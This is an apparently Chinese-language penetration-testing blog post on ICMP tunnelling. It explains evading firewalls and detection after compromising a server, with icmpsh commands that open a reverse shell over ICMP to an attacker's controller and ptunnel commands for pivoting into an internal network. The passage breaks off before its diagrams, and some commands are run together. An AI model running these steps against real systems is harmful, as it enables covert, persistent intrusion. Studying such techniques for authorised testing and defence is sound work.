6、ICMP隧道

FLy_鵬程萬里發表於2018-06-08

寫在前面

資訊保安裡面攻擊與防禦一直都是像是光與影子的關係，防禦得手段多種多樣，攻擊得方法也是花樣百出。在一些高難度得滲透測試過程中往往會遇到比較完善得安全防護策略、安全防護硬體、安全防護軟體，一個小小得惡意動作或者一段惡意程式碼得執行都可能會引起安全裝置向管理員發起警告，如果滲透方已經到達內網尋找資料階段被防守方發現了那不就是前功盡棄或者得不償失呢，滲透方如果能夠通過技術手段隱藏自己得攻擊過程或者痕跡，那麼會不會獲得一個持久得許可權控制呢，今天我們就來講一講如何根據不同得場景選用不同得木馬協議來達到更好得持久控制權。

應用場景

通常我們會遇到三大類別得網路環境場景：

1.伺服器處於內網，可以訪問外部網路。

2.伺服器處於外網，可以訪問外部網路，但是伺服器安裝了防火牆來拒絕敏感埠的連線。

3.伺服器處於內網，對外只開放了80埠，並且伺服器不能訪問外網網路。

第一類：我們在挑選木馬得時候由於沒有網路安全裝置和複雜得網路環境所以不用考慮太多，我們在獲得了WEB伺服器許可權過後就可以直接反彈一個任意協議得木馬，例如SSH隧道、ICMP隧道、HTTP代理、DNS隧道、TCP隧道、SOCKS5都可以。

第二類：因為有防火牆得緣故我們就要變得困難一點了，但是我們也可以嘗試通過避開敏感得埠或者協議來繞過防火牆例如我們可以嘗試使用HTTPS隧道、DNS隧道、ICMP隧道

第三類：是最麻煩得一個網路環境，因為代理伺服器或者防火牆只開放了80埠服務，而且內部得伺服器也不能訪問外網，這就意味著就算你獲得了伺服器得許可權你也必須通過80埠得服務來實現對木馬得互動。之前在論壇見過有人上傳指令碼到伺服器把伺服器網頁服務暫時關閉來達到解決80埠占用問題，這樣得辦法以我來看是不可行得，我們最好可以通過reGeorg、Socks、Proxy這類得代理工具來將流量代理到內網進行滲透。

今天下面我來說一說第二種型別網路環境裡面使用到得ICMP隧道簡單實用，一來是因為其他得通訊方式本公眾號之前都說過一些，二來是因為這個協議比較特殊。常見得通訊協議裡面兩臺裝置之間通訊肯定是需要開放埠的，而ICMP就不需要，在一些少見得環境裡面大家可能就利用這個特性就能事半功倍哦。

我們可能要用到得工具：

1.Icmpsh 下載地址：https://github.com/inquisb/

2.ptunnel 下載地址：http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz

3.icmpshell 下載地址：http://sourceforge.net/projects/icmpshell/

實際操作

Icmpsh使用方法

控制端

git clonehttps://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./run.sh

再輸入靶機的出口IP就行了如果在同內網填寫內網IP即可

靶機上

icmpsh.exe -t

控制端

IP-d 500 -b 30 -s 128

Ptunnel使用方法因為需要機器多就不實際操作了：
1.在邊界機器A上編譯並部署Ptunnel

yum install libpcap libpcap-devel flexbison -y
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar xf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
ptunnel -p 內網跳板機IP -lp 1080 -da 目標機器IP -dp 要訪問得目標機器埠

2.內網跳板機編譯並部署Ptunnel

通過下載或者上傳過去Ptunnel得安裝包進行安裝然然後執行Ptunnel即可

我們現在在本機訪問邊界機器A得1080埠就相當於訪問內網目標機器得指定埠了，我這麼說你理解起來還是不夠清晰那麼下面看圖來理解一下。

首先展示我們遇到得問題：